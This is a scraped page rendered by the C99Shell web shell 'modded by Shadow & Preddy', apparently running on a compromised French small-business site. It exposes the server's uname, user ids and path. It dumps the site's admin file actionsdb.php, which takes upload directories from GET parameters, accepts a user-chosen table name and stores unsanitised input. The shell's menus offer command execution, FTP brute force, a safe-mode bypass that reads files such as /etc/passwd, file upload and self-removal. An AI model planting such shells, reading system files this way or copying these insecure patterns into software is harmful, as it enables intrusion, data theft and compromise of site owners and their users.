!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm115.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/includes/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     actionsdb.php (6.51 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require("../class/class.upload.php");
require(
"../class/config.inc.php");
require(
"../class/Database.singleton.php");
$db Database::obtain(DB_SERVERDB_USERDB_PASSDB_DATABASE);
$db->connect();
if (
get_magic_quotes_gpc()) {
    
remove_magic_quotes($_POST);
    
remove_magic_quotes($_GET);
    
remove_magic_quotes($_REQUEST);
    
remove_magic_quotes($_SERVER);
    
remove_magic_quotes($_FILES);
    
remove_magic_quotes($_COOKIE);
}
$langs = array('fr''en');



if (isset(
$_POST['page']) && $_POST['page'] == "page") {
    
$dir_dest = (isset($_GET['dir']) ? $_GET['dir'] : '../../images/pages');
    
$dir_pics = (isset($_GET['pics']) ? $_GET['pics'] : $dir_dest);
    if (isset(
$_POST['typePage']) && $_POST['typePage'] == "News") {
        for (
$i 0$i <= 1$i++) {
            
$data['datePost_' $langs[$i]] = isset($_REQUEST['datePost_' $langs[$i]]) ? $_REQUEST['datePost_' $langs[$i]] : "";
            
$data['lieu_' $langs[$i]] = isset($_REQUEST['lieu_' $langs[$i]]) ? $_REQUEST['lieu_' $langs[$i]] : "";
        }

        if (isset(
$_FILES['photo'])) {

            
$handle = new Upload($_FILES['photo'], 'fr_FR');
            if (
$handle->uploaded) {
                
//$handle->file_new_name_body   = 'golf '.trim($db->escape($_REQUEST['titre_fr']));
                
$handle->image_resize true;
                
$handle->image_ratio_crop true;
                
$handle->image_x 60;
                
$handle->image_y 60;
                
$handle->image_background_color '#222311';
                
$handle->Process($dir_dest);

                if (
$handle->processed) {
                    
$data['vignette'] = $handle->file_dst_name;
                }

                
// $handle->file_new_name_body   = 'golf '.trim($db->escape($_REQUEST['titre_fr']));
                
$handle->image_resize true;
                
$handle->image_ratio_crop true;
                
$handle->image_x 407;
                
$handle->image_y 263;
                
$handle->image_background_color '#222311';
                
$handle->Process($dir_dest);

                if (
$handle->processed) {
                    
$data['photo'] = $handle->file_dst_name;
                }

                
$handle->Clean();
            }
        }
    }


    for (
$i 0$i <= 1$i++) {
        
$data['titre_' $langs[$i]] = isset($_REQUEST['titre_' $langs[$i]]) ? $_REQUEST['titre_' $langs[$i]] : "";
        
$data['titreSeo_' $langs[$i]] = isset($_REQUEST['titreSeo_' $langs[$i]]) ? $_REQUEST['titreSeo_' $langs[$i]] : "";
        
$data['metaSeo_' $langs[$i]] = isset($_REQUEST['metaSeo_' $langs[$i]]) ? $_REQUEST['metaSeo_' $langs[$i]] : "";
        
$data['text_' $langs[$i]] = isset($_REQUEST['text_' $langs[$i]]) ? $_REQUEST['text_' $langs[$i]] : "";
        
$data['intro_' $langs[$i]] = isset($_REQUEST['intro_' $langs[$i]]) ? $_REQUEST['intro_' $langs[$i]] : "";
    }

    
$data['active'] = isset($_REQUEST['active']) ? 0;
    
$data['etat'] = isset($_REQUEST['etat']) ? $_REQUEST['etat'] : 1;
    
$data['nom_page'] = isset($_REQUEST['nomPage']) ? $_REQUEST['nomPage'] : "";
    
$data['dateajout'] = date("Y-m-d H:i:s");
    
$data['type'] = trim($db->escape($_REQUEST['typePage']));
}


if (isset(
$_POST['page']) && $_POST['page'] == "config") {

    for (
$i 0$i <= 0$i++) {
        
$data['nom_site_' $langs[$i]] = $_REQUEST['nom_site_' $langs[$i]];
    }


    
$data['email'] = $_REQUEST['email'];
}

if (isset(
$_POST['page']) && $_POST['page'] == "projet") {

    
$dir_dest = (isset($_GET['dir']) ? $_GET['dir'] : '../../images/produits');
    
$dir_pics = (isset($_GET['pics']) ? $_GET['pics'] : $dir_dest);
    if (isset(
$_FILES['photo'])) {

        
$handle = new Upload($_FILES['photo'], 'fr_FR');
        if (
$handle->uploaded) {
            
$handle->image_resize true;
            
$handle->image_ratio_crop true;
            
$handle->image_x 60;
            
$handle->image_y 60;
            
$handle->image_background_color '#1F1F11';
            
$handle->Process($dir_dest);

            if (
$handle->processed) {
                
$data['vignette'] = $handle->file_dst_name;
            }

            
$handle->image_resize true;
            
$handle->image_ratio_crop true;
            
$handle->image_x 393;
            
$handle->image_y 234;

            
$handle->Process($dir_dest);

            if (
$handle->processed) {
                
$data['photo'] = $handle->file_dst_name;
            }

            
$handle->Clean();
        }
    }


    
$data['titrefr'] = isset($_REQUEST['titrefr']) ? $_REQUEST['titrefr'] : "";
    
$data['idparent'] = isset($_REQUEST['idparent']) ? $_REQUEST['idparent'] : "";
    
$data['missionfr'] = isset($_REQUEST['missionfr']) ? $_REQUEST['missionfr'] : "";

    
$data['type'] = trim($db->escape($_REQUEST['typePage']));
    
$data['active'] = isset($_REQUEST['active']) ? 0;
    
$data['dateajout'] = date("Y-m-d H:i:s");
}


if (isset(
$_REQUEST['valider'])) {
    
$theTable trim($db->escape($_REQUEST['thetable']));
    if (isset(
$_REQUEST['idRecord']) && isset($_POST['todo']) && ($_POST['todo'] == "edit")) {
        
$data['datemodif'] = date("Y-m-d H:i:s");
        if (
$db->update($theTable$data"id='" $db->escape(intval($_REQUEST['idRecord'])) . "'")) {
            
$message '
        <div class="alert alert-success">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Notification de réussite:</strong> enregistrement bien effectué
                        </div>'
;
        } else {
            
$message '
        <div class="alert alert-error">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Erreur notification:</strong>enregistrement n\'a pas été effectué
                        </div>'
;
        }
    } else {
        
$primary_id $db->insert($theTable$data) or die(mysql_error());
        
$sql "SELECT max(orderid) as maxorderid FROM `" $theTable "`";
        
$recordmaxid $db->query_first($sql);
        
$data['orderid'] = $recordmaxid['maxorderid'] + 1;
        
$db->update($theTable$data"id='" $primary_id "'");
        if (
$primary_id != 0) {
            
$message '<div class="alert alert-success">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Notification de réussite:</strong> enregistrement bien effectué
                        </div>'
;
        } else {
            
$message '<div class="alert alert-error">
                            <button type="button" class="close" data-dismiss="alert">×</button>
                            <strong>Erreur notification:</strong>enregistrement n\'a pas été effectué
                        </div>'
;
        }
    }
}
echo 
$message;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0114 ]--